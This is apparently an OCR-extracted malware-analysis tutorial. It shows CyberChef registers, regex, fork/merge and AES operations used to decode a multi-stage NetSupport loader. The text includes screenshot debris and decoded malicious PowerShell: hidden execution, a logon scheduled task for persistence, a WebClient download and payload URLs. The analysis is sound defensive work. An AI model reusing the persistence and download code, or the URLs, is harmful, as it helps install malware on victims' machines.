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We're all used to the regular CyberChef operations like "From Base64", From Decimal and
the occasional magic decode or xor. But what happens when we need to do something more
advanced?

Cyberchef contains many advanced operations that are often ignored in favour of Python
scripting. Few are aware of the more complex operations of which Cyberchef is capable.
These include things like Flow Control, Registers and various Regular Expression
capabilities.

In this post. We will break down some of the more advanced CyberChef operations and how
these can be applied to develop a configuration extractor for a multi-stage malware loader.

What Are These Advanced Operations?

Before we dive in, let's look a quick summary of the operations we will demonstrate.

e Registers

» Regular Expressions and Capture Groups
e Flow Control Via Forking and Merging

e Merging
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e Subtraction
o AES Decryption

After demonstrating these individually to show the concepts, we will combine them all
to develop a configuration extractor for a multi-stage malware sample.

Obtaining the Sample

The sample demonstrated can be found on Malware Bazaar with

SHA256 : befc7ebbea2d04c14e45bd52b1db9427afce022d7e2df331779dae3dfe85bfab

Advanced Operation 1 - Registers

Registers allow us to create variables within the CyberChef session and later reference them
when needed.

Registers are defined via a regular expression capture group, and allow us to create a
variable with unknown value that fits according to a known pattern within the code.

Registers Use Case

Below we have a powershell script utilising AES decryption.

Traditionally, this is easy to decode using CyberChef by manually copying out the key value
and pasting it into an "AES Decrypt" Operation.

$Dzxb = 'AAAAAAAAAAAAAAAAAAAAAOSICRBoOVNV7Z5MENPRQryhlrwkal2ZpI99R60R340RB2TAiIMUg4BgXsVq

$sUcUPxU 'dvdqd2RRTn1FbW1vdFNidFR3eEViQXJqQel3a2JWQ3M="; AES Decryption Key

$GDIXGNY = New-Object 'System.Security.Cryptography.AesManaged';

$GDIXGNY.Mode = [ IEEECBS;
$GDIXGNY.Padding = [ ]::Zeros;
$GDIXGNY.BlockSize = 128;

$GDIXGNY.KeySize = 256;

$GDIXGNY.Key = [ ]::FromBase64String($sUcUPxU);

$KPWOZ = [ ]::FromBase64String($Dzxb);

$LdCzhhCP = $KPwOZ[®..15];

$GDIXGNY.IV = $LdCzhhCP;

$wgkPgQHMD = $GDIXGNY.CreateDecryptor();

$EcXHdQkBU = $wgkPqQHMD.TransformFinalBlock ($KPwOZ, 16, $KPwOZ.Length - 16);
$GDIXGNY.Dispose();

Here we can see the key copied into an AES Decrypt operation.
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Recipe SN ]

AES Decrypt Q

Kev

dVdqd2RRTn1FbWlvdF..  BASE64T

1V HEX ¥

Mode Input

CBC Hex

Output
Raw

This method of manually copying out the key works effectively, however this means that the
key is "hardcoded" and the recipe will not be applicable to similar samples using the same
technique.

If another sample utilises a different key, then this new key will need to be manually updated
for the CyberChef recipe to work.

Registers Example 1

By utilising a "Register" operation, we can develop a regular expression to match on the
structure of the AES key and later access this via a register variable like "$R0"

3/36



The AES key in this case is a 44 character base64 string, hence we can use a base64
regular expression of 44-46 characters in order to extract out the AES Key.

We can later access this via the $R0 variable inside of the AES Decrypt operation.

Register C
Extractor _ o
'([a-zA-Z@-9\=\+\/]{42,46})" Case insensitive

] Multiline matching Dot matches all

$RO = dVdqd2RRTnlFbWlvdFNidFR3eEViQXJqQ013a2IWQ3M=

AES Decrypt Q
Kevy
$R HEX ~ [V HEX ~
Mode Input Output
CBC Hex Raw

Registers Example 2

In a previous stage of the same sample, the malware utlilises a basic subtract operation to
create ASCII char codes from an array of large integers.
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qqTr = 787
JuF
JuF = MAc(yAq)
If JuF = 7000 + 1204 Then
For Each QbJ In yAq
RrB
RrB = RrB & Chr(QbJ - qqT)
\[qe

End If
1kV = RrB "787" is subtracted from each of these decimal values to
create ASCII charcodes.

bvM()
YAq
gxf
yAq = Array(819,832,856,907,888,886,904,903,892,898,897,867,898,895,
01513
gxf = Array(899,898,906,888,901,902,891, 888,895,895,833, 888,907,888

Traditionally this would be decoded by manually copying out the 787 value and applying this
to a subtract operation.

However, again this causes issues if another sample utilises the same technique but a
different value.

A better method is to create another register with a regular expression that matches on the
787 value.

Here we can see an example of this, where a Register has been used to locate and store the

787 value inside of $R0. This can later be referenced in a subtract operation by referencing
$RO.

Recipe om s Input + 0O w =
. Function 1kV(Byval yAq) ~
Register Dim QbJ
Extractor Bim—aq
\w+ = (\d+) Caseinsensitive
Dim Ju
JuF = MAc(yAq)
D Multiline matching D Dot matches all If JuF = 7000 + 1204 Then
For Each QbJ In yAq
$RO = 787 Dim RrB
RrB = RrB & Chr(QbJl - qqT)
Next
End If v
wec 10508 = 34 Tr Raw Bytes & LF
Extracting the 787 value using Registers B0 m:o
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Recipe Sl ]

Register
Extractor _ o
\w+ = (\d+) Case insensitive
Multiline matching Dot matches all
$RO = 787

Regular Expressions

Regular expressions are frustrating, tedious and difficult to learn. But they are extremely
powerful and you should absolutely learn them in order to improve your Cyberchef and
malware analysis capability.

In the development of this configuration extractor, regular expressions are applied in 10
separate operations.

Regular Expressions - Use Case 1 (Registers)

The first use of regular expressions is inside of the initial register operation.

Here we have applied a regex to extract out a key value used later as part of the
deobfuscation process.

The key use of regex here is to be able to generically capture keys related to the decoding
process. Avoiding the need to hardcode values and allowing the recipe to work across
multiple samples.
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ReCiPE( Regular Expression to Capture the 787 variable and store it in a register

~N .
Function 1kV(ByVal yAq)
i ]
Register ® Dim Qb3
Extractor _ - Dim ggl
\w+ = (\d+) Case insensitive
Dim JuF
JuF = MAc(yAq)
] Multiline matching [[] Dot matches all If JuF = 7000 + 1204 Then
For Each QbJ] In yAq
$RO = 787 Dim RrB
RrB = RrB & Chr(QbJ - qqT)
Next
Regular expression O n End If

Regular Expressions - Use Case 2 (Isolating Text)

The second use of regular expressions in this recipe is to isolate the main array of integers
containing the second stage of the malware.

The second stage is stored inside of a large array of decimal values separated by commas
and contained in round brackets.

By specifying this inside of a regex, we can extract and isolate the large array and effectively
ignore the rest of the code. This is in contrast to manually copying out the array and starting
a new recipe.

A key benefit here is the ability to isolate portions of the code without needing to copy
and paste. This enables you to continue working inside of the same recipe

Recipe a [ ] i Input + 0O 5 i =

~ Dim yAq ~
D Multiline matching D Dot matches all Dim gxf
VAQ =
$RO = 787 Array(819,832,856,907,888, 886,904,903, 892,898,897,867,898,895,892,886,908,819,872,897,8
69,888,902,903,901,892,886,903,888,887,819,870, 903, 884,901,903 ,832,867,901,898, 886,888,
902,902,819, 826,886,896 ,887,833,888,907,888,826,819,832,874,892, 897,887,898, 906,870,903
Regular expression S n ,908,895,888,819,891,892,887,887,888,897,819,832,852,901,890,904,896, 888,897,903, 863, 89
2,902,903,819,910,834, 886,819,899, 898, 906, 888,901, 902,891, 888,895,895,833, 888,907,888, 8
Built in reaexes 19,823,855,909,907,885,819,848,819,826, 852,852,852, 852,852,852,852,852,852,852,852,852,
User defined 852,852,852,852,852,852,852,852,852,866,870,861,886,869, 853,898, 905, 865,905, 842,840, 864
,903,865,867,869,868,901,908,891,895,901,906,894,884,861,837,877,899, 860, 844, 844,869, 84
Regex 1,898,869,838,839,866,869,853,837,871,852,892,864,872,890,839,853,900,875,902,873,900, 8
\(([\d)]{leee)})\) C2 an@ Qa7 Q2@ QLQ QAA QAA QAA QDA QAQ A1 Q70 Q77 QA1 Q700 QA QAL QK2 QEQ QA7 QA7 QA7
Pre ]asﬁs = 34 Tr_Bau Bute £ L
4 Output RO® .

819,832,856,907,888,886,904,903,892,898,897,867,898,895,892, 886,908,819, 872,897,869,288 "
,902,903,901,892,886,903,888,897,819,870,903,884,901,903,832,867,901, 898, 886, 888, 902, 90
2,819,826,986,896,887, 833,888, 907,888,826,819,832,874,892,897,887,898,906,870,903,908, 8
95,888,819,891,892,887,887,888,897,819,832,852,901, 890,904,896, 888,897,903 ,863,892,902,

Case insensitive

A and $ match at newlines 903,819,910, 834,886,819,899,898,906,888,901,902,891, 888,895, 895, 833, 888,907,888,819,823
,855
2,85 . . .
] Dot matches all ] Unicode support 65,8 Regular Expression to extract the primary array of integers
869, containing the next stage of the malware. b
Y 897 B
A M 7.R95 .RA1.R73.8A7.00A.R5R.R30.00AR. A77.A5R.R00_.RA9.R77. 50 .R/h.AA7.RA9.855.RA4 .R03. 8588

Regular Expressions - Use Case 3 (Appending Values)
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Occasionally you will need to append values to individual lines of output.

In these cases, a regular expression can be utilised to capture an entire line (. *) and then
replace it with the same value (via capture group referenced in $1) followed by another value
(our initial register).

The key use case is the ability to easily capture and append data, which is essential for
operations like the subtract operator which will be later used in this recipe.

Dir
Fork Q 1 mc 10508 = 34

Split delimiter Merae delimit...

, \n [ ] 1gnore errors Output

819
832
856
997
X 888
886

pla 904
351. SR@ D Global match 903
892
898

D Case insensitive Multiline matching 897

Find / Replace O n

867
898
Before Find/Replace 895
892
886
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Recipe Sl ] Input

) Dim yAq
Dim gxf
Fork ac 10508 = 34
Split delimiter Merge delimit... ()utput
P \n D Ignore errors
819 787
832 787
Find / Replace gce 797
Find 907 787
Inc
(.*) REGEX ~ 888 787
- 886 787
Replace 904 787
\eplace
$1 $Re [] Global match 903 787
892 787
898 787
[ Case insensitive Multiline matching 897 787
867 787
898 787
895 787
D Dot matches all
. 7
After Find/Replace :
v

Regular Expressions - Use Case 4 (Extracting Encryption Keys)

We can utilise regular expressions inside of register operations to extract encryption keys
and store these inside of variables.

Here we can see the 44 character AES key stored inside of the $R1 register.

This is effective as the key is stored in a particular format across samples. Leveraging regex
allows us to capture this format (44 char base64 inside single quotes) without needing to
worry about the exact value.

$Dzxb = 'AAAAAAAAAAAAAAAAAAAAAOSIcRBovNv7Z5MtNPRQryhlrwkal2ZpI99R60R340RB2

$sUcUPxU 'dVdqd2RRTnl1FbW1vdFNidFR3eEViQXJqQe1l3a2JWQ3M=";

$GDIXGNY New-Object 'System.Security.Cryptography.AesManaged’;
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Register

Extractor

' ([a-zA-Z0-9\=\+\/]1{44})" Case insensitive

Multiline matching Dot matches all

$R1 = dVdqd2RRTnlFbWlvdFNidFR3eEViQXJqQ01l3a2IWQ3M=

Regular Expressions - Use Case 5 (Extracting Base64 Text)

Regular expressions can be used to isolate base64 text containing content of interest.

This particular sample stores the final malware stage inside of a large AES Encrypted and
Base64 encoded blob.

Since we have already extracted the AES key via registers, we can apply regex to isolate the
primary base64 blob and later perform the AES Decryption.

$Dzxb = 'AAAAAAAAAAAAAAAAAAAAAOSICcRBOVNVZ5MtNPRQryhlrwkal2ZpI99R60R340RB2TAIMUg4BgXsVq

$sUcUPxU 'dVdqd2RRTnl1FbW1lvdFNidFR3eEViQXJqQel3a2IWQ3M=";
$GDIXGNY New-Object 'System.Security.Cryptography.AesManaged';

$GDIXGNY .Mode 1: :ECB;|
A : ~
Regular expression Function 1lkV(Byval yAq)
Dim QbJ
Built in regexes Dim qqT
User defined qqT = 787
Dim JuF
Regex JuF = MAc(yAq)
[a-zA-Z@-9\=\+/]{1080, } If JuF = 7000 + 1204 Then v
mec 10508 = 34 Tr Raw Bytes &4 LF
Output < B m s

G . A AAAAAAAAAAAAAAAAAAAAAOSI cRBQVNV75MENPRQryhlrwkal2ZpI99R60R340RB2TAIMUg4BgXsVgByn3HOOMwRrSUISLT
ase insensitive and $ match at newlines I l . X
+ WGAyZGpp: pDIJGI+2MO0iwffjn499AN2tuTzuIhAfWMxeNIMCELD6AApua7QkMmp2Wnt0IzXYTqyZp8s

2WqIT8HspdMR7falakYdXXp8FjCfqYo6pAE+WLozFsquCaIChb236ce6g90KLzn59u7MIelnpggCldzUfPs6SpXCvKIBUZ
mxtVacONkrYFG4SVFgDOvzdMbHGYrkKox/3jiXYEImXLHICFV+6cEIX7I2CmIjySbWEsnxfmeFnXzuzSsWMosU4PD+bMGD
RnardA8F++LpiawRe71CAhHGehCESZOEPa4iEHOPWFujrtq5p6U6IqG3xMCAW2uI4FKmTp3TzgeAf8rloSbi3vOI8vHBFS
8dg001CImHtz4W3MjLXhZcvk+freodli7ItH1k7pgjWgadQ
/2F822xR+TCQyrTCItfM+xKVV7pzwsFSQf8prX60+3RtjXQLDdgdzOvrZVIW2ZmS2F
[ Astral support [ Display total /7A007bMWQgZDIEULYPTWYOV7fueeOei3Q+dPcMXcPaqSBFnOVIULZ3dINi 2P1Yd1m3X80Qjp
/b3gLdIcmfbWDTYTa6VIQxXe+2v0121UMjhXG7EN71rYFi3mBKLpeUq+2gDm7vIiXqHdtitVOnw30nzK6YGGIrTTS7HIES
Output format NgquovX

i /H2QtuHsf KYFjWH
List matches 7p9?x2Mb2 Isolating Base64 Via Regex !
/dgCijues
o /JaTfXc8aCVOTTRZEITSXSacBUXFZZUmMW

D Dot matches all D Unicode support
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Regular Expressions - Use Case 6 (Extracting Initial Characters)

This sample utilises the first 16 bytes of the base64 decoded content to create an IV for the
AES decryption.

We can leverage regular expressions and registers to extract out the first 16 bytes of the
decoded content using . {167}.

This enables us to capture the IV and later reference it via a register to perform the AES
Decryption.

$LdCzhhCP = $KPwOZ[0O..15];

$GDIXGNY.IV = $LdCzhhCP;

W VSTITUYL IV WU S 3 J =L T 1T Juk = /¥0Y + 12¥4 1he

Register

Extraccor K o P RALALRLANY LR deq hAOGEEM="+E~kAF+UeH=0z ; = 99"
y Case insensitive N L

(.{16}) . c1xUL*=BA&"v)1®DeE@QUiiBexa: 2f
o . /9ubiTlig) =™ elU0|0:JeA%G=Qe+pVeDU+ Q, TQ ~EOLAC e
|:| Multiline matching D Dot matches all b#E o0 Efimge s | T42028p1As Fuict =068~ { 1B" Az s
ONA%e= 8% 00 - > UEEA\%Oe08%&. E " }die#tZ e CyeomGa)
BR2 = MAWMMMMMAMMANNANY 413%BCHES” 00" Eii~ge92 - CcOpAU=20%YT ;0" guI6-sDeust
¢EyI%02id" A VI+UD | 7: |E&ee" "OKLE%s @00_fioBUefida
o 504G A8A~" A 0 AT EDX A | Bx /%, - o ITAGKD e Gl

Capturing initial bytes with regex AT’
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AES Decrypt

Key

$R1

IV
$R2

Input
Raw

8 1

BASE64 ~

UTES Mode
ECB

Output
Raw

Regular Expressions - Use Case 6 (Removing Trailing Null Bytes)

Regular expressions can be used to remove trailing nullbytes from the end of data.

This is particularly useful as sometimes we only want to remove null bytes at the "end" of
data. Whereas a traditional "remove null bytes" will remove null bytes everywhere in the

code.

In the sample here, there are trailing nullbytes that are breaking a portion of the decryption

process.

a5 a5 69 74 af 8f @5 ac
db bd ab b2 54 36 ¢5 a5
90 e9 fa cf fb 99 54 12
6f d8 ad 48 be e5 b@ 2b

51 f1 b3
5b bl ef
54 4a 25
ba 7d 05

4f 8f 13 08'@@ 00 00 00

20 00 [

mc 2639 = 1

By applying a null byte search with \0+$ we can use a find/replace to remove these trailing

null bytes.

In this case, the \0+ looks for one or more null bytes, and the $ specifies that this must be at

the end of the data.

35
77
b7
6b

a2
fa
95
6b

20
b3
54
19

d4 d2 0c 9a ba f2 68 db d5 ae 5d 19 d4 5d 47 1f
eb 75 b4 70 4a 8e a2 97 f4 a2 c7 46 9a 7c 7a b8
d9 b7 c9 6e 5 5b 2a 7d 2c 24 50 ©2 75 2a 06 dS5
94 4c 45 7f e9 45 df 29 3d e3 of 43 ff ©7 93 od

(© 584ms  Tr Raw Bytes

“ L

12/36



Find / Replace Q I

Find

\0+$ REGEX ~

Replace Global match

Case insensitive Multiline matching

Dot matches all

After applying this operation, the trailing null bytes are now removed from the end of the
data.

db bd ab b2 54 36 c¢5 a5 5b bl ef 77 f4 b3 eb 75 b4 70 4a 8e a2 97 f4 a2 c¢7 46 9a 7c 7a b8
90 e9 fa cf fb 99 54 12 54 43 25 b7 95 54 d9 b7 c9 6e 5 5b 2a 7d 2c 24 50 ©2 75 2a @6 dS5
6f d8 ad 48 be e5 b® 2b 6a 7d 085 6b 6b f9 94 4c 45 7f e9 45 df 29 3d e3 of 43 ff @7 93 od
41 8f 13 08

me 2621 = 1 (© 807ms Tr Raw Bytes €&

Flow Control Via Forking

Forking allows us to separate values and act on each of them independently as if they were
a separate recipe.

In the use case below, we have a large array of decimal values and we need to subtract 787
from every single one. A large issue here is that in order to subtract 787, we need to append
787 after every single decimal value in the below screenshot. This would be a nightmare to
do by hand.
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819,832,856,907,888,886,904,903,892,898,897,867, 898,895,892 ,886,908,819,872,897,869,888,902
,903,901,892,886,903,888,887,819,870,903,884,901,903,832,867,901,898,886,888,902,902,819,82
6,886,896,887,833,888,907,888,826,819,832,874,892,897,887,898,906,870,903,908, 895,888,819, 8
91,892,887,887,888,897,819,832,852,901,890, 904,896, 888,897,903, 863,892,902,903,819,910,834,
886,819,899,898,906,888,901,902,891,888,895,895,833,888,907,888,819,823,855,909,907,885,819
,848,819,826,852,852,852,852,852,852,852,852,852,852,852,852,852,852,852,852,852,852,852,85
2,852,866,870,861,886,869,853,898,905,865,905,842,840, 864,903, 865,867,869, 868,901,908,891,8
95,901,906,894,884,861,837,877,899,860,844,844,869,841, 898,869, 838,839,866, 869,853,837,871,

852,
,870
8,89

97,8 Forking enables us to act on each value independently as if it

854,
,875
9,88
74,8

were a separate recipe.

B69,901
, 877,85
b,893,8
b5,864,
B60,909
, 842,88
6,830,8

#4,835,

862,863,909,897,840,844,904,842,864,860, 888 ,836,897,899,890, 890,854,895, 887,909,872,889,867

mec U

As the data is structured and separated by commas, we can apply a forking operation with a

split delimiter of comma and a merge delimiter of newline.

Jytes <«

The split delimiter is whatever separates the values in your data, but the merge delimiter is
how you want your new data structured.

At this point, every newline represents a new input data, and all future operations will act on

each line independently.

Fork

Split delimiter

2

Merage delimiter

\n

Find / Replace

Find
(.*)

$1 $RO

Q n
|:| Ignore errors

o

REGEX ~

D Global match

aec 10508 = 34

Output

819
832
856
907
888
886
904
903
892
898

onT

If we now go ahead and apply a find replace, we can see that the operation has affected
each and every line individually.
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Find / Replace Q n
Find
(.*%) REGEX ~
Replace
$1 $RO D Global match
|:| Case insensitive Multiline matching

|:| Dot matches all

Subtract ® Il

aec 10508

= 34

Output

819
832
856
207
888
886
904
903
892
898
897
867
898
895
892

787
787
787
787
787
787
787
787
787
787
787
787
787
787
787

If we had applied the same concept without a fork, only a single 787 would have been added

to the end of the entire blob of decimal data.

VIU0I 13001 0273000y IULHVOO0L) JVLOHOTUH O/ O 00Ty S/UD SU IR 000,07/ 0000 00U0L1/30L0,0IU0,) JUO,y JUY
,858,870,888,819,848,819,823,887,876,896,893,909, 858,833,871, 898,852,901, 901, 884,908,827,82
8,846,823,899,868,892, 864,869,908, 864,819,848,819,878,870,908,902,903, 888,896, 833,871, 888,9
07,903,833,856,897,886,898,887,892,897,890, 880,845 ,845,872,871,857,843,833,858, 888,903,870,
903,901,892,897,890,827,823,856,908,900, 858,870, 888,828, 846,823,899
,819,911,819,899,898,906,888,901,902,891, 888,895, 895,819,832,819,9

mc 9263 = 1

,864,869,908,864
787

(© 5ms T Raw Bytes <

After applying the find/replace, we can continue to apply a subtraction operation and a "From

Decimal".

This reveals the decoded text and the next stage of the malware.
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Find / Replace Q u Function 1kV(ByVal yAq)
Dim Qb3
Find Dim qqT
(.%) REGEX ¥ qqT = 787
Dim JuF
Replace JuF = MAc(yAq)
$1 $RO (] Global match If JuF = 7000 + 1204 Then v
ac 10508 = 34 Tr Raw Bytes ¢ LF
(O] case insensitive Multiline matching Output % ] |E] m o
D Dot matches all é
Subtract Omn . Decoded data after forking operations.
Delimiter u
Space t
From Decimal o n :
. P
222:, D Support signed values (1’
Note that the "Merge Delimiter" mentioned previously is purely a matter of formatting.
Once you have decoded your content as in the screenshot above, you will want to remove
the merge delimiter to ensure that all the decoded content is together.
Here we can see the full script after removing the merge delimiter.
v

Fork S n
Tr Raw Bytes ¢ LF

Remove Merge Delimiter after recipe is working.

Split delimiter

s Merae deli... '|[C] ignore errors B0 m::
-ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList Q
Find / Replace ® ] {/c powershell.exe $Dzxb =
' AAAAAAAAAAAAAAAAAAAAAOS T CRBoVNY7 SMENPRQryhlrwkal2ZpT99R60R 340RB2TAIMUg4BGXsVGByn3HOIMWRSU
Find ISLIBGPPPX+16VPWGAyZGppZHYPpDIJGI+2M00iwffn499AN2tuTzuThAfiMxeNIMCELD6AAPUA7QkMmp2WntOTI ZXY
(.*) REGEX~ TqyZp8s2WqIT8HspdMR7FalakYdXXp8F jCfqYobpAE+HLoZFsquCaIChb236ce6g90KLzn59u7MIelnpggCldzUfPs6

SpXCvKIBUZmxtVacONkrYFG4SVFgDOvzdMbHGYrkKex/3jiXYEImXLHICFV+6CcEIX7I2CmIjySbWEsnxfmeFnXzuzSs
Replace WMosU4PD+bMGDRnardA8F++LpiawRe71CAhHGehCESZOEPa4iEHOPWFuUjrtq5p6U6IqG3xMCAW2uI4FKmTp3TzgeAfs
$1 $Re D Global match r10Sbi3vOI8VHBF58dg001CImHt z4W3MjLXhZcvk+freod]i7TtH1k7pgjWgadQ
/2F822xR+TCQyrTCItfM+xKVV7pzwsFSQf8prX60+3RtjXQLDdgdzOvrZVIW2ZmS2F
/7A007bMWQgZDIEULYPIWYOV7fueeOei3Q+dPcMXcPaqSBFnOvIULZ3dINi2P1Yd1m3X80Qjp
[ Case insensitive Multiline matching /b3gLdIcmfbWDTYTa6VIQxXe+2v0121UMIhXG7EN71rYFi3mBKLpeUq+2gDm7vIiXgHdtitVenw30nzK6YGGIrTTS7H
JE3NgqUovX
/H2QtuHsfFk4mH5xI0+Xh7mCUaBEDxbjlyci2XdmQEgKk3BhoSM6rzxulL BEMT itUeRA4fqgafDFfgy4ImOmKBADWKYF
D Dot matches all JWH7 p9LX2Mb2ASHE1y8Qt53a70Hha+ia6fnVMmecQHLh9boPs1AFTjCCrCviwxYtLRNorscF/TXjcSG
v /dgCijuesu8FxexULCEHL1AdXUCmmMISYVZNbXf/xiTE9HDWoZIZIQ0dqGOx/XGIymHhoh8rSToxd4agtaA6S
D /JaTfXc8acVOLtkZgilSXsach8Ux+zzO0mw
/P78B0OqIUnFYPr2q6siRglouVyortj+Aatv51wTGF+tNOdTenFh2bdLxUaS72kZPrs5INM1jhh8Udr+WxPHCZB8Rpb7 |,

STEP & BAKE!

Autn Rake

Flow Control - Merging

Merging is essentially an "undo" for forking operations.

After you've succesfully decoded content using a fork, you will want to make sure to apply a
Merge to ensure that the new content can be analysed appropriately.

Without a merge, all future operations would affect only a single character and not the entire
script.
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mc 10508 = 34 Tr Raw Bytes ¢ LF

Merge Output B0 m::
-ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList Q
Merge All .
{/c powershell.exe $Dzxb =

' AAAAAAAAAAAAAAAAAAAAADS I cRBoVvNV75MENPRQryhlrwkal2ZpI99R60R340RB2TAIMUg4BqXsVqByn3HO9MwRrSU
JSLIBGPPPX+16VPwG4yZGppZHYPpD9jGI+2MO0iwffjnd499AN2tuTzulhAfWMxeNIMCELD6AApua7QkMmp2WntOIzXY
TqyZp8s2WqIT8HspdMR7falakYdXXp8FjCfqYo6pAE+WLozFsquCaIlChb236ce6g90KLzn59u7MIelnpggCldzUfPs6
SpXCvKIBUZmxtVac@ONkrYFG4SVFgDOvzdMbHGYrkKOx/3jiXYEImXLH1CFV+6cEIX7I2CmIjy5SbWEsnxfmeFnXzuzSs
WMosU4PD+bMGDRnardA8F++LpiawRe71CAhHGehCESZOEPa4iEHOPWFuUjrtq5p6U6I1qG3xMCAW2uI4FKmTp3TzgeAfS
rloSbi3vOI8vHBF58dg001CImHtz4W3MjLXhZ cvk+freod]i7ItH1k7pgjWgadQ
/2F822xR+TCQyrTCItfM+xKVV7pzwsFSQf8prX60+3RtjXQLDdgdzOvrZVIW2ZmS2F
/7A007bMWQEgZDIEULYPIWYOV7fueeOei3Q+dPcMXcPaqSBFNOVOULZ3dINi2P1Yd1m3X80Qjp
/b3gLdIcmfbWDTYTa6VIQxXe+2v0121UMjhXG7EN71rYFi3mBKLpeUq+2gDm7vIiXqHdtitVOnw30nzK6YGGIrTTS7H
JE3NgqUovX

/H2QtuHsfFk4mH5xI0+Xh7mCUaBEDxbjlyci2XdmQEgKk3BhoSM6rzxulL BEMTitUeRA4fqgafDFfgy4ImOmKBADWKYF
JWH7p9LX2Mb2ASHE1y8Qt53a70Hha+ia6fnVMmecQHLh9boPs1AFTjCCrCvlwxYtLRNorscF/TXjcSG
/dgCijuegu8FxexU1CEHL1AdXUCMMISYVZNbXf/xiTE9HDWoZIZIQOdqGOx/XGIymHh9h8rSToxd4gtaA6S

- D /JaTfXc8acVOLtkZgilSXsach8Ux+zz0mw
STEP BAKE! e /P78B0gIUNFYPr2q6siRgIouVyOrtj+Aatv51wTGF+tNOdTenFh2bdLxUaS72kZPrs5INM1jhh8Udr+WxPHCZBSRpb7
AES Decryption

Cyberchef is capable of AES Decryption via the AES Decrypt operation.

To utilise AES decryption, look for the key indicators of AES inside of malware code and
align all the variables with the AES operation.

eg, make sure to align the Key, Mode and IV. Then just plug these values into CyberChef.

$Dzxb =| "AAAAAAAAAAAAAAAAAAAAAOSICcRBovNV75MENPRQryhlrwkal2ZpI99R60R340RB2TAiIMUg4BgXsVq

$sUcUPXU = 'dVdqd2RRTnl1FbW1vdFNidFR3eEViQXJqQel3a2IwWQ3M="; AES key

$GDIXGNY = New-Object 'System.Security.Cryptography.AesManaged";

$GDIXGNY.Mode = [ 11:ECB; AES Mode

$GDIXGNY.Padding = [ ]::Zeros;
$GDIXGNY.BlockSize = 128;

$GDIXGNY.KeySize = 256;|

$GDIXGNY.Key = [ ]::FromBase64String($sUcUPxU);

$KPWOZ = [ ]::FromBase64String($Dzxb);

$LdCzhhCP = $KPwOZ[0@..15];

IV - (First 16 bytes of base64)
$GDIXGNY.IV = $LdCzhhCP;
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AES Decrypt

Key

Q

dVdqd2RRTn1FbWlvdFNidFR3eEViQXJigqQe  BASEOAT

AY)

Mode

00 00 00 00 00 e EXT ECB

Input
Raw

Recipe

A-Za-z0-9+/=

Remove non-alphabet chars

Drop bytes

Start
]

D Apply to each line

AES Decrypt

Kev

dVdqd2RRTn1FbW1vdFNidFR3eEViQXIqQe

Lenath

16

D Strict mode

v
00 00 00 00 00 ©0

Input
Raw

HEX ~

Output
Raw

Mode

ECB

QO n

QO n

BASE64 ~

Qutput
Raw

Input + 028 =

AAAAAAAAAAAAAAAAAAAAAOS I cRBoVNV75SMENPRQryhlrwkal2ZpI99R60R340RB2TAIMUg4BgXsVgByn3HO9MWR 2
rSUJSLIBGPPPX+16VPwG4yZGppZHYPpD9jGI+2MO0iwffjn499AN2tuTzuIhAfWMxeNIMCELD6AApua7QkMmp2W
nt0IzXYTqyZp8s2WqIT8HspdMR7falakYdXXp8FjCfqYob6pAE+WLozFsquCaIChb236ce6g90KLzn59u7MIelnp
ggCldzUfPs6SpXCvKIBUZmxtVacONkrYFG4SVFgDOvzdMbHGYrkKox/3jiXYEImXLHICFV+6CEIX7I2CmIjySbiW
EsnxfmeFnXzuzSsWMosU4PD+bMGDRnardA8F++LpiawRe71CAhHGehCESZOEPa4iEHOPWFujrtqSp6U6IqG3xMC
AW2uI4FKmTp3TzgeAf8rloSbi3vOI8vHBF58dg00o1CImHtz4W3MjLXhZcvk+freodli7ItH1k7pgjWgadQ
/2F822xR+TCQYrTCItfM+xKVV7pzwsFSQf8prX60+3RtjXQLDdgdzOvrZVIW2ZmS2F
/7A007bMWQgZDIEU1YPIWYOv7fueeOei3Q+dPcMXcPagSBFNOvOULZ3dINi2P1Yd1m3X80Qjp
/b3gLdIcmfbWDTYTa6VIQxXe+2v0121UMjhXG7EN71rYFi3mBKLpeUq+2gDm7vIiXqHdtitVOnw30nzK6YGGIrT
TS7HIE3NgqUIVX

/H2QtuHsfFk4mH5xI0+Xh7mCUaBEDxbjlyci2XdmQEgKk3BhoSM6rzxul BEMTitUeRA4fqgafDFfgy4ImOmKBAD

wKYFjWH7p9LX2Mb2ASHE1y8Qt53a70Hha+ia6fnVMmecQHLh9boPs1AFTjCCrCviwxYtLRNorscF/TXjcSG v
ac 1196 = 1 Tr Raw Bytes ¢ LF
Output % ] [_D m o

function QtR($kBv, $LMY){[IO.File]::WriteAllBytes($kBv, $LMY)};function sri($kBv){if A
($kBv.EndsWith(".zip') -eq $True){$fwef = "\" + (Get-Item $kBv).Basename;

$Script:fghrth = Join-Path $MeT $fwef;Expand-Archive -Path $kBv -DestinationPath

$fghrth; $Script:ghyth = 1; del $kBv}else{if ($ghyth -eq 1){mv -Path $kBv -Destination
$fghrth; $kBv = Join-Path $fghrth infosecpad.exe};$Action = (New-ScheduledTaskAction
-Execute $kBv);$Trigger = New-ScheduledTaskTrigger -AtLogOn;Register-ScheduledTask
-TaskName “"BackgroundCheck” -Action $Action -Trigger $Trigger -RunLevel "Highest"
-Force;Start $kBv}};function WTk($Wxf){$PSt = New-Object (wva
@(4352,4375,4390,4320,4361,4375,4372,4341,4382,4379,4375,4384,4390) ) ;
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$LMY =

Eventually, you can effectively automate this using Regular Expressions and Registers as
previously shown.
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AES Decrypt

Key

$R1

\
$R2

Input
Raw

BASEG4S ~

Mode

UTF8 ~ ECB

QOutput
Raw

Configuration Extractor Walkthrough (22 Operations)

Utilising all of these techniques, we can develop a configuration extractor for a NetSupport

Loader with 3 separate scripts that can all be decoded within the same recipe.

This requires a total of 22 operations which will be demonstrated below.
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Input + O3 § =

Function 1kV(ByVal yAq)

Dim Qb3

Dim qqT

qqT = 787

Dim JuF

JuF = MAc(yAq)

If JuF = 7000 + 1204 Then

For Each QbJ In yAq

Dim RrB

nen nen O /Al ——A

mc 10508 = 34 Tr Raw Bytes € LF

v

Output B rl:] 1

Net.WebClient
https://
https://raekessler.com/wp-content/uploads/2023/04/Tranch.zip

https://raekessler.com/wp-content/uploads/2023/04/infosecpad.exe

Stage 1 Decoding (7 Operations)

The initial script is obfuscated using a large array of decimal integers.

For each of these decimal values, the number 787 is subtracted and then the result is used
as an ASCII charcode.

qqT
JuF
JuF = MAc(yAq)
If JuF = 7000 + 1204 Then
For Each QbJ In yAq

RrR

